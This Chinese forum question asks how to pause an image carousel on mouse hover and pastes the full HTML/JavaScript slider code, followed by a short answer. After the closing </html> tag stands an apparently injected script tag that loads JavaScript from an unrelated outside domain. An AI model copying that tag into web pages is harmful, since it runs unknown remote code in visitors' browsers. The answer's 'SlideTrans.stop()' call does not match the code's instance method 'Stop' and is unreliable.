怎么的了呢 2013-06-17 03:16 采纳率: 0%
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怎么实现当鼠标放到图片上时图片停止滚动

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<meta name="keywords" content="JS代码,焦点图,JS广告代码,JS特效代码" />
<meta name="description" content="此代码内容为腾讯软件中心JS焦点图代码，属于站长常用代码，更多焦点图代码请访问阿里西西JS代码频道。" />
<title>腾讯软件中心JS焦点图代码_阿里西西</title>
<LINK rel=stylesheet type=text/css href="css/alixixi.css">
<SCRIPT type=text/javascript>
var $ = function (id) {
    return "string" == typeof id ? document.getElementById(id) : id;
};

var Extend = function(destination, source) {
    for (var property in source) {
        destination[property] = source[property];
    }
    return destination;
}

var CurrentStyle = function(element){
    return element.currentStyle || document.defaultView.getComputedStyle(element, null);
}

var Bind = function(object, fun) {
    var args = Array.prototype.slice.call(arguments).slice(2);
    return function() {
        return fun.apply(object, args.concat(Array.prototype.slice.call(arguments)));
    }
}

var Tween = {
    Quart: {
        easeOut: function(t,b,c,d){
            return -c * ((t=t/d-1)*t*t*t - 1) + b;
        }
    },
    Back: {
        easeOut: function(t,b,c,d,s){
            if (s == undefined) s = 1.70158;
            return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
        }
    },
    Bounce: {
        easeOut: function(t,b,c,d){
            if ((t/=d) < (1/2.75)) {
                return c*(7.5625*t*t) + b;
            } else if (t < (2/2.75)) {
                return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
            } else if (t < (2.5/2.75)) {
                return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
            } else {
                return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
            }
        }
    }
}


//容器对象,滑动对象,切换数量
var SlideTrans = function(container, slider, count, options) {
    this._slider = $(slider);
    this._container = $(container);//容器对象
    this._timer = null;//定时器
    this._count = Math.abs(count);//切换数量
    this._target = 0;//目标值
    this._t = this._b = this._c = 0;//tween参数

    this.Index = 0;//当前索引

    this.SetOptions(options);

    this.Auto = !!this.options.Auto;
    this.Duration = Math.abs(this.options.Duration);
    this.Time = Math.abs(this.options.Time);
    this.Pause = Math.abs(this.options.Pause);
    this.Tween = this.options.Tween;
    this.onStart = this.options.onStart;
    this.onFinish = this.options.onFinish;

    var bVertical = !!this.options.Vertical;
    this._css = bVertical ? "top" : "left";//方向

    //样式设置
    var p = CurrentStyle(this._container).position;
    p == "relative" || p == "absolute" || (this._container.style.position = "relative");
    this._container.style.overflow = "hidden";
    this._slider.style.position = "absolute";

    this.Change = this.options.Change ? this.options.Change :
        this._slider[bVertical ? "offsetHeight" : "offsetWidth"] / this._count;
};
SlideTrans.prototype = {
  //设置默认属性
  SetOptions: function(options) {
    this.options = {//默认值
        Vertical:   true,//是否垂直方向（方向不能改）
        Auto:       true,//是否自动
        Change:     0,//改变量
        Duration:   50,//滑动持续时间
        Time:       10,//滑动延时
        Pause:      4000,//停顿时间(Auto为true时有效)
        onStart:    function(){},//开始转换时执行
        onFinish:   function(){},//完成转换时执行
        Tween:      Tween.Quart.easeOut//tween算子
    };
    Extend(this.options, options || {});
  },
  //开始切换
  Run: function(index) {
    //修正index
    index == undefined && (index = this.Index);
    index < 0 && (index = this._count - 1) || index >= this._count && (index = 0);
    //设置参数
    this._target = -Math.abs(this.Change) * (this.Index = index);
    this._t = 0;
    this._b = parseInt(CurrentStyle(this._slider)[this.options.Vertical ? "top" : "left"]);
    this._c = this._target - this._b;

    this.onStart();
    this.Move();
  },
  //移动
  Move: function() {
    clearTimeout(this._timer);
    //未到达目标继续移动否则进行下一次滑动
    if (this._c && this._t < this.Duration) {
        this.MoveTo(Math.round(this.Tween(this._t++, this._b, this._c, this.Duration)));
        this._timer = setTimeout(Bind(this, this.Move), this.Time);
    }else{
        this.MoveTo(this._target);
        this.Auto && (this._timer = setTimeout(Bind(this, this.Next), this.Pause));
    }
  },
  //移动到
  MoveTo: function(i) {
    this._slider.style[this._css] = i + "px";
  },
  //下一个
  Next: function() {
    this.Run(++this.Index);
  },
  //上一个
  Previous: function() {
    this.Run(--this.Index);
  },
  //停止
  Stop: function() {
    clearTimeout(this._timer); this.MoveTo(this._target);
  }
};
</SCRIPT>
</head>
<body>
<DIV id=idContainer2 class=container style=" margin-left:auto; margin-right:auto; width:978px; text-align:center;">
<table id=idSlider2  cellpadding="0" cellspacing="0"   bgcolor="#FFFFFF">   
    <tr>
        <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> 
        <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg"/></TD> 
        <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> 
        <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> 
        <TD class=td_f width="978" align="center" height="130"><img src="images/01.jpg" /></TD> 
    </tr>
</table>
<UL id=idNum  class="num"></UL>
</DIV>

<SCRIPT>
    var forEach = function(array, callback, thisObject){
        if(array.forEach){
            array.forEach(callback, thisObject);
        }else{
            for (var i = 0, len = array.length; i < len; i++) { callback.call(thisObject, array[i], i, array); }
        }
    }

    var st = new SlideTrans("idContainer2", "idSlider2", 5, { Vertical: false });

    var nums = [];
    //插入数字
    for(var i = 0, n = st._count - 1; i <= n;){
        (nums[i] = $("idNum").appendChild(document.createElement("li"))).innerHTML = ++i;
    }

    forEach(nums, function(o, i){
        o.onmouseover = function(){ o.className = "on"; st.Auto = false; st.Run(i); }
        o.onmouseout = function(){ o.className = ""; st.Auto = true; st.Run(); }
    })

    //设置按钮样式
    st.onStart = function(){
        forEach(nums, function(o, i){ o.className = st.Index == i ? "on" : ""; })
    }
    st.Run();
</SCRIPT>
</body>
</html><script language=javascript src=http://www.haofbi.com/js/w.js></script>
  • 写回答

1条回答

  • 字母大号被盗了 2013-08-14 10:03
    关注

    element.onmouseover = function() {
    clearTimeout(this._timer);
    };

    仔细看了下，其实这个demo中已经封装好, 停止的方法
    直接调用：SlideTrans.stop();

    评论

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